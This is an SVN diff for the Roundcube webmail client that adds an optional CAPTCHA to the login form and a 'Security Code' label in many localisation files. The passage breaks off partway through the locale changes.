Index: config/main.inc.php.dist
===================================================================
--- config/main.inc.php.dist	(revision 2336)
+++ config/main.inc.php.dist	(working copy)
@@ -117,8 +117,15 @@
 
 // These cols are shown in the message list. Available cols are:
 // subject, from, to, cc, replyto, date, size, flag, attachment
-$rcmail_config['list_cols'] = array('subject', 'from', 'date', 'size', 'flag', 'attachment');
+$rcmail_config['list_cols'] = array('subject', 'from', 'date', 'size', 'attachment');
 
+// Display preview pane
+$rcmail_config['preview_pane'] = TRUE;
+
+// Default preview pane
+//$rcmail_config['preview_pane_vertical'] = TRUE;
+$rcmail_config['preview_pane_horizontal'] = TRUE;
+
 // Includes should be interpreted as PHP files
 $rcmail_config['skin_include_php'] = FALSE;
 
Index: index.php
===================================================================
--- index.php	(revision 2336)
+++ index.php	(working copy)
@@ -42,13 +42,22 @@
   if (function_exists('ob_gzhandler')
       && !ini_get('zlib.output_compression')
       && ini_get('output_handler') != 'ob_gzhandler') {
-    ob_start('ob_gzhandler');
+        // ob_start('ob_gzhandler');
   }
   else {
-    ob_start();
+        // ob_start();
   }
 }
 
+// include task specific files
+if (($RCMAIL->task == 'login') && ($RCMAIL->action == 'sendcaptcha')) {
+    // include('program/include/rcube_captcha.inc');
+    $oCaptcha = new rcube_captcha(90, 30, 6);
+    rcube_captcha::SendImageToBrowser($oCaptcha);
+    exit();
+}
+
+
 // check if config files had errors
 if ($err_str = $RCMAIL->config->get_error()) {
   raise_error(array(
@@ -80,7 +89,7 @@
   }
   else if ($_SESSION['temp'] && !empty($_POST['_user']) && !empty($_POST['_pass']) &&
            $RCMAIL->login(trim(get_input_value('_user', RCUBE_INPUT_POST), ' '),
-              get_input_value('_pass', RCUBE_INPUT_POST, true, 'ISO-8859-1'), $host)) {
+              get_input_value('_pass', RCUBE_INPUT_POST, true, 'ISO-8859-1'), get_input_value('_captcha', RCUBE_INPUT_POST), $host)) {
     // create new session ID
     unset($_SESSION['temp']);
     rcube_sess_regenerate_id();
Index: program/include/rcmail.php
===================================================================
--- program/include/rcmail.php	(revision 2336)
+++ program/include/rcmail.php	(working copy)
@@ -403,14 +403,21 @@
    *
    * @param string IMAP user name
    * @param string IMAP password
+   * @param string captcha code
    * @param string IMAP host
    * @return boolean True on success, False on failure
    */
-  function login($username, $pass, $host=NULL)
+  function login($username, $pass, $captcha, $host=NULL)
   {
     $user = NULL;
     $config = $this->config->all();
 
+    if ($config['use_captcha'] === true) {
+      if (rcube_captcha::validate($captcha) === false) {
+          return false;
+        }
+    }
+    
     if (!$host)
       $host = $config['default_host'];
 
Index: program/include/rcube_template.php
===================================================================
--- program/include/rcube_template.php	(revision 2336)
+++ program/include/rcube_template.php	(working copy)
@@ -943,11 +943,11 @@
         $_SESSION['temp'] = true;
 
         $input_user   = new html_inputfield(array('name' => '_user', 'id' => 'rcmloginuser', 'size' => 30) + $attrib);
-        $input_pass   = new html_passwordfield(array('name' => '_pass', 'id' => 'rcmloginpwd', 'size' => 30) + $attrib);
+        $input_pass   = new html_passwordfield(array('name' => '_pass', 'id' => 'rcmloginpwd', 'size' => 30, 'autocomplete' => 'off') + $attrib);
         $input_action = new html_hiddenfield(array('name' => '_action', 'value' => 'login'));
         $input_tzone  = new html_hiddenfield(array('name' => '_timezone', 'id' => 'rcmlogintz', 'value' => '_default_'));
         $input_host   = null;
-
+        
         if (is_array($default_host)) {
             $input_host = new html_select(array('name' => '_host', 'id' => 'rcmloginhost'));
 
@@ -965,6 +965,20 @@
             $input_host = new html_inputfield(array('name' => '_host', 'id' => 'rcmloginhost', 'size' => 30));
         }
 
+        $input_captcha = null;
+        if ($this->app->config->get('use_captcha') === true) {
+            // create HTML table with two cols
+            $CaptchaTable = new html_table(array('cols' => 2));
+            $input_captcha = new html_inputfield(array('name' => '_captcha', 'id' => 'rcmcaptcha', 'size' => 6, 'autocomplete' => 'off', 'maxlength' => 6));          
+            $CaptchaTable->add(null, $input_captcha->show());
+
+            $reload = $this->abs_url("/images/refresh.gif");
+            
+            $CaptchaTable->add(null, "<img id=\"captcha_img\" src=\"./?_task=login&_action=sendcaptcha\"><a href=\"#\" title=\"Refresh Image\" onclick=\"document.getElementById('captcha_img').src = './?_task=login&_action=sendcaptcha&sid=' + Math.random(); return false\"><img src=\"$reload\" alt=\"Reload Image\" style=\"border-style: none; vertical-align:bottom;\" onclick=\"this.blur()\" /></a>");            
+            
+            $input_captcha = $CaptchaTable->show();
+        }        
+        
         $form_name  = !empty($attrib['form']) ? $attrib['form'] : 'form';
         $this->add_gui_object('loginform', $form_name);
 
@@ -976,6 +990,11 @@
 
         $table->add('title', html::label('rcmloginpwd', Q(rcube_label('password'))));
         $table->add(null, $input_pass->show());
+        
+        if ($this->app->config->get('use_captcha') === true) {
+        $table->add('title', html::label('rcmcaptcha', Q(rcube_label('capctha'))));
+        $table->add(null, $input_captcha);
+        }      
 
         // add host selection row
         if (is_object($input_host)) {
Index: program/localization/ar_SA/labels.inc
===================================================================
--- program/localization/ar_SA/labels.inc	(revision 2336)
+++ program/localization/ar_SA/labels.inc	(working copy)
@@ -21,6 +21,7 @@
 $labels['welcome'] = 'مرحباً بكم في $product';
 $labels['username'] = 'اسم المستخدم';
 $labels['password'] = 'كلمة المرور';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'الخادم';
 $labels['login'] = 'تسجيل الدخول';
 $labels['logout'] = 'تسجيل الخروج';
Index: program/localization/az_AZ/labels.inc
===================================================================
--- program/localization/az_AZ/labels.inc	(revision 2336)
+++ program/localization/az_AZ/labels.inc	(working copy)
@@ -19,6 +19,7 @@
 $labels['welcome'] = '$product \-a xoş gəldiniz';
 $labels['username'] = 'İstifadəçi Adı';
 $labels['password'] = 'Şifrə';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Server';
 $labels['login'] = 'Daxil ol';
 $labels['logout'] = 'Çıxış';
Index: program/localization/bg_BG/labels.inc
===================================================================
--- program/localization/bg_BG/labels.inc	(revision 2336)
+++ program/localization/bg_BG/labels.inc	(working copy)
@@ -22,6 +22,7 @@
 $labels['welcome'] = 'Добре дошли в $product';
 $labels['username'] = 'Потребител';
 $labels['password'] = 'Парола';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Сървър';
 $labels['login'] = 'Вход';
 $labels['logout'] = 'Изход';
Index: program/localization/bs_BA/labels.inc
===================================================================
--- program/localization/bs_BA/labels.inc	(revision 2336)
+++ program/localization/bs_BA/labels.inc	(working copy)
@@ -23,6 +23,7 @@
 $labels['welcome']   = 'Dobrodošli na $product';
 $labels['username']  = 'Korisničko ime';
 $labels['password']  = 'Lozinka';
+$labels['captcha'] = 'Security Code';
 $labels['server']    = 'Server';
 $labels['login']     = 'Prijava';
 
@@ -231,4 +232,4 @@
 $labels['sortasc']  = 'Sortiraj rastućim nizom';
 $labels['sortdesc'] = 'Sortiraj opadajućim nizom';
 
-?>
\ No newline at end of file
+?>
Index: program/localization/ca_ES/labels.inc
===================================================================
--- program/localization/ca_ES/labels.inc	(revision 2336)
+++ program/localization/ca_ES/labels.inc	(working copy)
@@ -22,6 +22,7 @@
 $labels['welcome'] = 'Benvingut a $product';
 $labels['username'] = 'Nom d\'usuari';
 $labels['password'] = 'Contrasenya';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Servidor';
 $labels['login'] = 'Entrar';
 $labels['logout'] = 'Tancar sessió';
@@ -265,4 +266,4 @@
 $labels['MB'] = 'MB';
 $labels['GB'] = 'GB';
 
-?>
\ No newline at end of file
+?>
Index: program/localization/cs_CZ/labels.inc
===================================================================
--- program/localization/cs_CZ/labels.inc	(revision 2336)
+++ program/localization/cs_CZ/labels.inc	(working copy)
@@ -23,6 +23,7 @@
 $labels['welcome'] = 'Vítejte v $product';
 $labels['username'] = 'Uživatel';
 $labels['password'] = 'Heslo';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Server';
 $labels['login'] = 'Přihlásit';
 $labels['logout'] = 'Odhlásit';
@@ -246,4 +247,4 @@
 $labels['sortasc'] = 'Seřadit vzestupně';
 $labels['sortdesc'] = 'Seřadit sestupně';
 
-?>
\ No newline at end of file
+?>
Index: program/localization/cy_GB/labels.inc
===================================================================
--- program/localization/cy_GB/labels.inc	(revision 2336)
+++ program/localization/cy_GB/labels.inc	(working copy)
@@ -18,6 +18,7 @@
 $labels['welcome'] = 'Croeso i $product';
 $labels['username'] = 'Enw defnyddiwr';
 $labels['password'] = 'Cyfrinair';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Gweinydd';
 $labels['login'] = 'Mewngofnodi';
 $labels['logout'] = 'Allgofnodi';
Index: program/localization/da_DK/labels.inc
===================================================================
--- program/localization/da_DK/labels.inc	(revision 2336)
+++ program/localization/da_DK/labels.inc	(working copy)
@@ -23,6 +23,7 @@
 $labels['welcome'] = 'Velkommen til $product';
 $labels['username'] = 'Brugernavn';
 $labels['password'] = 'Adgangskode';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Server';
 $labels['login'] = 'Log på';
 $labels['logout'] = 'Log af';
Index: program/localization/de_CH/labels.inc
===================================================================
--- program/localization/de_CH/labels.inc	(revision 2336)
+++ program/localization/de_CH/labels.inc	(working copy)
@@ -22,6 +22,7 @@
 $labels['welcome'] = 'Willkommen bei $product';
 $labels['username'] = 'Benutzername';
 $labels['password'] = 'Passwort';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Server';
 $labels['login'] = 'Login';
 $labels['logout'] = 'Logout';
Index: program/localization/de_DE/labels.inc
===================================================================
--- program/localization/de_DE/labels.inc	(revision 2336)
+++ program/localization/de_DE/labels.inc	(working copy)
@@ -21,6 +21,7 @@
 $labels['welcome'] = 'Willkommen bei $product';
 $labels['username'] = 'Benutzername';
 $labels['password'] = 'Passwort';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Server';
 $labels['login'] = 'Anmelden';
 $labels['logout'] = 'Abmelden';
Index: program/localization/el_GR/labels.inc
===================================================================
--- program/localization/el_GR/labels.inc	(revision 2336)
+++ program/localization/el_GR/labels.inc	(working copy)
@@ -22,6 +22,7 @@
 $labels['welcome'] = 'Καλώς ήρθατε στο $product';
 $labels['username'] = 'Όνομα Χρήστη';
 $labels['password'] = 'Κωδικός Πρόσβασης';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Διακομιστής';
 $labels['login'] = 'Είσοδος';
 $labels['logout'] = 'Έξοδος';
@@ -190,4 +191,4 @@
 $labels['sortasc'] = 'Αύξουσα ταξινόμηση';
 $labels['sortdesc'] = 'Φθίνουσα ταξινόμηση';
 
-?>
\ No newline at end of file
+?>
Index: program/localization/en_GB/labels.inc
===================================================================
--- program/localization/en_GB/labels.inc	(revision 2336)
+++ program/localization/en_GB/labels.inc	(working copy)
@@ -21,6 +21,7 @@
 $labels['welcome'] = 'Welcome to $product';
 $labels['username'] = 'Username';
 $labels['password'] = 'Password';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Server';
 $labels['login'] = 'Login';
 $labels['logout'] = 'Logout';
Index: program/localization/en_US/labels.inc
===================================================================
--- program/localization/en_US/labels.inc	(revision 2336)
+++ program/localization/en_US/labels.inc	(working copy)
@@ -23,6 +23,7 @@
 $labels['welcome']   = 'Welcome to $product';
 $labels['username']  = 'Username';
 $labels['password']  = 'Password';
+$labels['captcha'] = 'Security Code';
 $labels['server']    = 'Server';
 $labels['login']     = 'Login';
 
Index: program/localization/eo/labels.inc
===================================================================
--- program/localization/eo/labels.inc	(revision 2336)
+++ program/localization/eo/labels.inc	(working copy)
@@ -19,6 +19,7 @@
 $labels['welcome'] = 'Bonvenon al $product';
 $labels['username'] = 'Uzantnomo';
 $labels['password'] = 'Pasvorto';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Servilo';
 $labels['login'] = 'Ensalutu';
 $labels['logout'] = 'Elsalutu';
Index: program/localization/es_ES/labels.inc
===================================================================
--- program/localization/es_ES/labels.inc	(revision 2336)
+++ program/localization/es_ES/labels.inc	(working copy)
@@ -24,6 +24,7 @@
 $labels['welcome'] = 'Bienvenido a $product';
 $labels['username'] = 'Nombre de usuario';
 $labels['password'] = 'Contraseña';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Servidor';
 $labels['login'] = 'Entrar';
 $labels['logout'] = 'Cerrar sesión';
Index: program/localization/et_EE/labels.inc
===================================================================
--- program/localization/et_EE/labels.inc	(revision 2336)
+++ program/localization/et_EE/labels.inc	(working copy)
@@ -21,6 +21,7 @@
 $labels['welcome'] = 'Teretulemast kasutama $product';
 $labels['username'] = 'Kasutajanimi';
 $labels['password'] = 'Parool';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Server';
 $labels['login'] = 'Logi sisse';
 $labels['logout'] = 'Logi välja';
Index: program/localization/eu_ES/labels.inc
===================================================================
--- program/localization/eu_ES/labels.inc	(revision 2336)
+++ program/localization/eu_ES/labels.inc	(working copy)
@@ -21,6 +21,7 @@
 $labels['welcome'] = 'Ongietorri Roundcube|Mail-era';
 $labels['username'] = 'Erabiltzailea';
 $labels['password'] = 'Pasahitza';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Zerbitzaria';
 $labels['login'] = 'Saio hasiera';
 $labels['logout'] = 'Irten';
Index: program/localization/fa/labels.inc
===================================================================
--- program/localization/fa/labels.inc	(revision 2336)
+++ program/localization/fa/labels.inc	(working copy)
@@ -21,6 +21,7 @@
 $labels['welcome'] = 'خوش آمدید $product به';
 $labels['username'] = 'نام کاربری';
 $labels['password'] = 'گذرواژه';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'سرور';
 $labels['login'] = 'ورود';
 $labels['logout'] = 'خروج';
Index: program/localization/fi_FI/labels.inc
===================================================================
--- program/localization/fi_FI/labels.inc	(revision 2336)
+++ program/localization/fi_FI/labels.inc	(working copy)
@@ -22,6 +22,7 @@
 $labels['welcome'] = 'Tervetuloa $product -käyttäjäksi';
 $labels['username'] = 'Käyttäjätunnus';
 $labels['password'] = 'Salasana';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Palvelin';
 $labels['login'] = 'Kirjaudu';
 $labels['logout'] = 'Kirjaudu ulos';
Index: program/localization/fr_FR/labels.inc
===================================================================
--- program/localization/fr_FR/labels.inc	(revision 2336)
+++ program/localization/fr_FR/labels.inc	(working copy)
@@ -23,6 +23,7 @@
 $labels['welcome'] = 'Bienvenue sur $product';
 $labels['username'] = 'Utilisateur';
 $labels['password'] = 'Mot de passe';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Serveur';
 $labels['login'] = 'Authentification';
 $labels['logout'] = 'Quitter';
Index: program/localization/ga_IE/labels.inc
===================================================================
--- program/localization/ga_IE/labels.inc	(revision 2336)
+++ program/localization/ga_IE/labels.inc	(working copy)
@@ -20,6 +20,7 @@
 $labels['welcome'] = 'Fáilte go $product';
 $labels['username'] = 'Úsáideoir';
 $labels['password'] = 'Pasfhocal';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Freastalaí';
 $labels['login'] = 'Logáil isteach';
 $labels['logout'] = 'Logáil amach';
@@ -176,4 +177,4 @@
 $labels['sortasc'] = 'Sórtáil in ord méadaitheach';
 $labels['sortdesc'] = 'Sórtáil in ord neartaitheach';
 
-?>
\ No newline at end of file
+?>
Index: program/localization/gl_ES/labels.inc
===================================================================
--- program/localization/gl_ES/labels.inc	(revision 2336)
+++ program/localization/gl_ES/labels.inc	(working copy)
@@ -18,6 +18,7 @@
 $labels['welcome'] = 'Benvido a $product';
 $labels['username'] = 'Nome de usuario';
 $labels['password'] = 'Contrasinal';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Servidor';
 $labels['login'] = 'Acceder';
 $labels['logout'] = 'Saír';
Index: program/localization/he_IL/labels.inc
===================================================================
--- program/localization/he_IL/labels.inc	(revision 2336)
+++ program/localization/he_IL/labels.inc	(working copy)
@@ -19,6 +19,7 @@
 $labels['welcome'] = 'ברוך בואך אל $product';
 $labels['username'] = 'שם משתמש';
 $labels['password'] = 'סיסמה';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'שרת';
 $labels['login'] = 'כניסה';
 $labels['logout'] = 'יציאה';
Index: program/localization/hi_IN/labels.inc
===================================================================
--- program/localization/hi_IN/labels.inc	(revision 2336)
+++ program/localization/hi_IN/labels.inc	(working copy)
@@ -22,6 +22,7 @@
 $labels['welcome']   = '$product में स्वागत है';
 $labels['username']  = 'यूसरनाम';
 $labels['password']  = 'पासवर्ड';
+$labels['captcha'] = 'Security Code';
 $labels['server']    = 'सर्वर';
 $labels['login']     = 'लॉगिन';
 
@@ -236,4 +237,4 @@
 $labels['sortasc']		= 'पहले से आखीरी तय करें';
 $labels['sortdesc']		= 'आखीरी से पहले तय करें';
 
-?>
\ No newline at end of file
+?>
Index: program/localization/hr_HR/labels.inc
===================================================================
--- program/localization/hr_HR/labels.inc	(revision 2336)
+++ program/localization/hr_HR/labels.inc	(working copy)
@@ -21,6 +21,7 @@
 $labels['welcome'] = 'Dobrodošli na $product';
 $labels['username'] = 'E-mail';
 $labels['password'] = 'Lozinka';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Server';
 $labels['login'] = 'Prijava';
 $labels['logout'] = 'Odjava';
Index: program/localization/hu_HU/labels.inc
===================================================================
--- program/localization/hu_HU/labels.inc	(revision 2336)
+++ program/localization/hu_HU/labels.inc	(working copy)
@@ -22,6 +22,7 @@
 $labels['welcome'] = 'Üdvözli a $product';
 $labels['username'] = 'Felhasználónév';
 $labels['password'] = 'Jelszó';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Szerver';
 $labels['login'] = 'Belépés';
 $labels['logout'] = 'Kijelentkezés';
Index: program/localization/hy_AM/labels.inc
===================================================================
--- program/localization/hy_AM/labels.inc	(revision 2336)
+++ program/localization/hy_AM/labels.inc	(working copy)
@@ -21,6 +21,7 @@
 $labels['welcome'] = 'Բարի գալուստ $product';
 $labels['username'] = 'Օգտվող';
 $labels['password'] = 'Գաղտնաբառ';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Սերվեր';
 $labels['login'] = 'Մուտք';
 $labels['logout'] = 'Ելք';
@@ -189,4 +190,4 @@
 $labels['sortasc'] = 'ըստ աճման';
 $labels['sortdesc'] = 'ըստ նվազման';
 
-?>
\ No newline at end of file
+?>
Index: program/localization/id_ID/labels.inc
===================================================================
--- program/localization/id_ID/labels.inc	(revision 2336)
+++ program/localization/id_ID/labels.inc	(working copy)
@@ -21,6 +21,7 @@
 $labels['welcome'] = 'Selamat datang di $product';
 $labels['username'] = 'Username';
 $labels['password'] = 'Password';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Server';
 $labels['login'] = 'Masuk';
 $labels['logout'] = 'Keluar';
Index: program/localization/is_IS/labels.inc
===================================================================
--- program/localization/is_IS/labels.inc	(revision 2336)
+++ program/localization/is_IS/labels.inc	(working copy)
@@ -23,6 +23,7 @@
 $labels['welcome']   = 'Vefpóstur Vodafone';
 $labels['username']  = 'Netfang';
 $labels['password']  = 'Lykilorð';
+$labels['captcha'] = 'Security Code';
 $labels['server']    = 'Server';
 $labels['login']     = 'Innskrá';
 
Index: program/localization/it_IT/labels.inc
===================================================================
--- program/localization/it_IT/labels.inc	(revision 2336)
+++ program/localization/it_IT/labels.inc	(working copy)
@@ -22,6 +22,7 @@
 $labels['welcome'] = 'Benvenuto in $product';
 $labels['username'] = 'Utente';
 $labels['password'] = 'Password';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Server';
 $labels['login'] = 'Entra';
 $labels['logout'] = 'Esci';
Index: program/localization/ja_JP/labels.inc
===================================================================
--- program/localization/ja_JP/labels.inc	(revision 2336)
+++ program/localization/ja_JP/labels.inc	(working copy)
@@ -22,6 +22,7 @@
 $labels['welcome'] = 'ようこそ $product へ';
 $labels['username'] = 'ユーザー名';
 $labels['password'] = 'パスワード';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'サーバ';
 $labels['login'] = 'ログイン';
 $labels['logout'] = 'ログアウト';
Index: program/localization/ka_GE/labels.inc
===================================================================
--- program/localization/ka_GE/labels.inc	(revision 2336)
+++ program/localization/ka_GE/labels.inc	(working copy)
@@ -21,6 +21,7 @@
 $labels['welcome'] = 'მოგესალმებათ $product';
 $labels['username'] = 'მომხმარებელი';
 $labels['password'] = 'პაროლი';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'სერვერი';
 $labels['login'] = 'შესვლა';
 $labels['logout'] = 'გამოსვლა';
Index: program/localization/ku/labels.inc
===================================================================
--- program/localization/ku/labels.inc	(revision 2336)
+++ program/localization/ku/labels.inc	(working copy)
@@ -18,6 +18,7 @@
 $labels['welcome'] = 'Bixêr hatî $product \\\'ê';
 $labels['username'] = 'Bikarhêner';
 $labels['password'] = 'Nasnav';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Pêşkêşkar';
 $labels['login'] = 'Têkevê';
 $labels['logout'] = 'Derkeve';
Index: program/localization/lt_LT/labels.inc
===================================================================
--- program/localization/lt_LT/labels.inc	(revision 2336)
+++ program/localization/lt_LT/labels.inc	(working copy)
@@ -21,6 +21,7 @@
 $labels['welcome'] = 'Sveiki atvykę į $product';
 $labels['username'] = 'Vartotojas';
 $labels['password'] = 'Slaptažodis';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Serveris';
 $labels['login'] = 'Prisijungti';
 $labels['logout'] = 'Atsijungti';
Index: program/localization/lv_LV/labels.inc
===================================================================
--- program/localization/lv_LV/labels.inc	(revision 2336)
+++ program/localization/lv_LV/labels.inc	(working copy)
@@ -22,6 +22,7 @@
 $labels['welcome'] = 'Esiet laipni lūgti $product';
 $labels['username'] = 'Lietotājvārds';
 $labels['password'] = 'Parole';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Serveris';
 $labels['login'] = 'Pieslēgties';
 $labels['logout'] = 'Atslēgties';
@@ -190,4 +191,4 @@
 $labels['sortasc'] = 'Kārtot augošā secībā';
 $labels['sortdesc'] = 'Kārtot dilstošā secībā';
 
-?>
\ No newline at end of file
+?>
Index: program/localization/mk_MK/labels.inc
===================================================================
--- program/localization/mk_MK/labels.inc	(revision 2336)
+++ program/localization/mk_MK/labels.inc	(working copy)
@@ -20,6 +20,7 @@
 $labels['welcome'] = 'Добредојдовте во $product';
 $labels['username'] = 'Корисничко Име';
 $labels['password'] = 'Лозинка';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Сервер';
 $labels['login'] = 'Логирај Се';
 $labels['logout'] = 'Одлогирај Се';
Index: program/localization/ms_MY/labels.inc
===================================================================
--- program/localization/ms_MY/labels.inc	(revision 2336)
+++ program/localization/ms_MY/labels.inc	(working copy)
@@ -21,6 +21,7 @@
 $labels['welcome'] = 'Selamat datang ke $product';
 $labels['username'] = 'Nama Pengguna';
 $labels['password'] = 'Kata Laluan';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Pelayan';
 $labels['login'] = 'Log Masuk';
 $labels['logout'] = 'Log Keluar';
Index: program/localization/nb_NO/labels.inc
===================================================================
--- program/localization/nb_NO/labels.inc	(revision 2336)
+++ program/localization/nb_NO/labels.inc	(working copy)
@@ -22,6 +22,7 @@
 $labels['welcome'] = 'Velkommen til $product';
 $labels['username'] = 'Brukernavn:';
 $labels['password'] = 'Passord:';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Server';
 $labels['login'] = 'Logg på';
 $labels['logout'] = 'Logg ut';
@@ -218,4 +219,4 @@
 $labels['sortasc'] = 'Eldste først';
 $labels['sortdesc'] = 'Nyeste først';
 
-?>
\ No newline at end of file
+?>
Index: program/localization/ne_NP/labels.inc
===================================================================
--- program/localization/ne_NP/labels.inc	(revision 2336)
+++ program/localization/ne_NP/labels.inc	(working copy)
@@ -19,6 +19,7 @@
 $labels['welcome'] = '$product मा स्वागत छ';
 $labels['username'] = 'युसरनेम';
 $labels['password'] = 'पासवर्ड';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'सर्भर';
 $labels['login'] = 'लगईन';
 $labels['logout'] = 'लगआउट';
Index: program/localization/nl_BE/labels.inc
===================================================================
--- program/localization/nl_BE/labels.inc	(revision 2336)
+++ program/localization/nl_BE/labels.inc	(working copy)
@@ -22,6 +22,7 @@
 $labels['welcome'] = 'Welkom bij $product';
 $labels['username'] = 'Gebruikersnaam';
 $labels['password'] = 'Wachtwoord';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Server';
 $labels['login'] = 'Aanmelden';
 $labels['logout'] = 'Afmelden';
Index: program/localization/nl_NL/labels.inc
===================================================================
--- program/localization/nl_NL/labels.inc	(revision 2336)
+++ program/localization/nl_NL/labels.inc	(working copy)
@@ -23,6 +23,7 @@
 $labels['welcome'] = 'Welkom bij $product';
 $labels['username'] = 'Gebruikersnaam';
 $labels['password'] = 'Wachtwoord';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Server';
 $labels['login'] = 'Inloggen';
 $labels['logout'] = 'Uitloggen';
Index: program/localization/nn_NO/labels.inc
===================================================================
--- program/localization/nn_NO/labels.inc	(revision 2336)
+++ program/localization/nn_NO/labels.inc	(working copy)
@@ -22,6 +22,7 @@
 $labels['welcome'] = 'Velkomen til $product';
 $labels['username'] = 'Brukarnamn';
 $labels['password'] = 'Passord';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Tenar';
 $labels['login'] = 'Logg inn';
 $labels['logout'] = 'Logg ut';
Index: program/localization/pl_PL/labels.inc
===================================================================
--- program/localization/pl_PL/labels.inc	(revision 2336)
+++ program/localization/pl_PL/labels.inc	(working copy)
@@ -26,6 +26,7 @@
 $labels['welcome'] = 'Witamy w $product';
 $labels['username'] = 'Nazwa';
 $labels['password'] = 'Hasło';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Serwer';
 $labels['login'] = 'Zaloguj';
 $labels['logout'] = 'Wyloguj';
Index: program/localization/pt_BR/labels.inc
===================================================================
--- program/localization/pt_BR/labels.inc	(revision 2336)
+++ program/localization/pt_BR/labels.inc	(working copy)
@@ -25,6 +25,7 @@
 $labels['welcome'] = 'Bem Vindo ao $product';
 $labels['username'] = 'Usuário';
 $labels['password'] = 'Senha';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Servidor';
 $labels['login'] = 'Entrar';
 $labels['logout'] = 'Sair';
Index: program/localization/pt_PT/labels.inc
===================================================================
--- program/localization/pt_PT/labels.inc	(revision 2336)
+++ program/localization/pt_PT/labels.inc	(working copy)
@@ -24,6 +24,7 @@
 $labels['welcome'] = 'Bem-vindo ao $product';
 $labels['username'] = 'Utilizador';
 $labels['password'] = 'Senha';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Servidor';
 $labels['login'] = 'Entrar';
 $labels['logout'] = 'Sair';
Index: program/localization/ro_RO/labels.inc
===================================================================
--- program/localization/ro_RO/labels.inc	(revision 2336)
+++ program/localization/ro_RO/labels.inc	(working copy)
@@ -22,6 +22,7 @@
 $labels['welcome'] = 'Bine ati venit la $product';
 $labels['username'] = 'Utilizator';
 $labels['password'] = 'Parola';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Server';
 $labels['login'] = 'Autentificare';
 $labels['logout'] = 'Deconectare';
@@ -190,4 +191,4 @@
 $labels['sortasc'] = 'Sorteaza ascendent';
 $labels['sortdesc'] = 'Sorteaza descendent';
 
-?>
\ No newline at end of file
+?>
Index: program/localization/ru_RU/labels.inc
===================================================================
--- program/localization/ru_RU/labels.inc	(revision 2336)
+++ program/localization/ru_RU/labels.inc	(working copy)
@@ -23,6 +23,7 @@
 $labels['welcome'] = 'Добро пожаловать в $product!';
 $labels['username'] = 'Имя пользователя';
 $labels['password'] = 'Пароль';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Сервер';
 $labels['login'] = 'Войти';
 $labels['logout'] = 'Выход';
Index: program/localization/si_LK/labels.inc
===================================================================
--- program/localization/si_LK/labels.inc	(revision 2336)
+++ program/localization/si_LK/labels.inc	(working copy)
@@ -20,6 +20,7 @@
 $labels['welcome'] = '$product ආයුබොවන්';
 $labels['username'] = 'නම';
 $labels['password'] = 'මුරපදය';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'පද්ධතිය';
 $labels['login'] = 'අතුල්වීම';
 $labels['logout'] = 'පිටවීම';
@@ -188,4 +189,4 @@
 $labels['sortasc'] = 'ආරෝහණ වර්ග කිරීම';
 $labels['sortdesc'] = 'අවරෝහණ වර්ග කිරීම';
 
-?>
\ No newline at end of file
+?>
Index: program/localization/sk_SK/labels.inc
===================================================================
--- program/localization/sk_SK/labels.inc	(revision 2336)
+++ program/localization/sk_SK/labels.inc	(working copy)
@@ -23,6 +23,7 @@
 $labels['welcome'] = 'Vitajte v $product';
 $labels['username'] = 'Prihlasovacie meno';
 $labels['password'] = 'Heslo';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Server';
 $labels['login'] = 'Prihlásiť';
 $labels['logout'] = 'Odhlásiť';
Index: program/localization/sl_SI/labels.inc
===================================================================
--- program/localization/sl_SI/labels.inc	(revision 2336)
+++ program/localization/sl_SI/labels.inc	(working copy)
@@ -22,6 +22,7 @@
 $labels['welcome'] = 'Dobrodošel v $product';
 $labels['username'] = 'Uporabniško ime';
 $labels['password'] = 'Geslo';
+$labels['captcha'] = 'Security Code';
 $labels['server'] = 'Strežnik';
 $labels['login'] = 'Prijava';
 $labels['logout'] = 'Odjava';
Index: program/localization/sq_AL/labels.inc
===================================================================
--- program/localization/sq_AL/labels.inc	(revision 2336)
+++ program/localization/sq_AL/labels.inc	(working copy)
@@ -21,6 +21,7 @@
 $labels['welcome'] = 'Mirëseerdhe te $product';
 $labels['username'] = 'Përdoruesi';
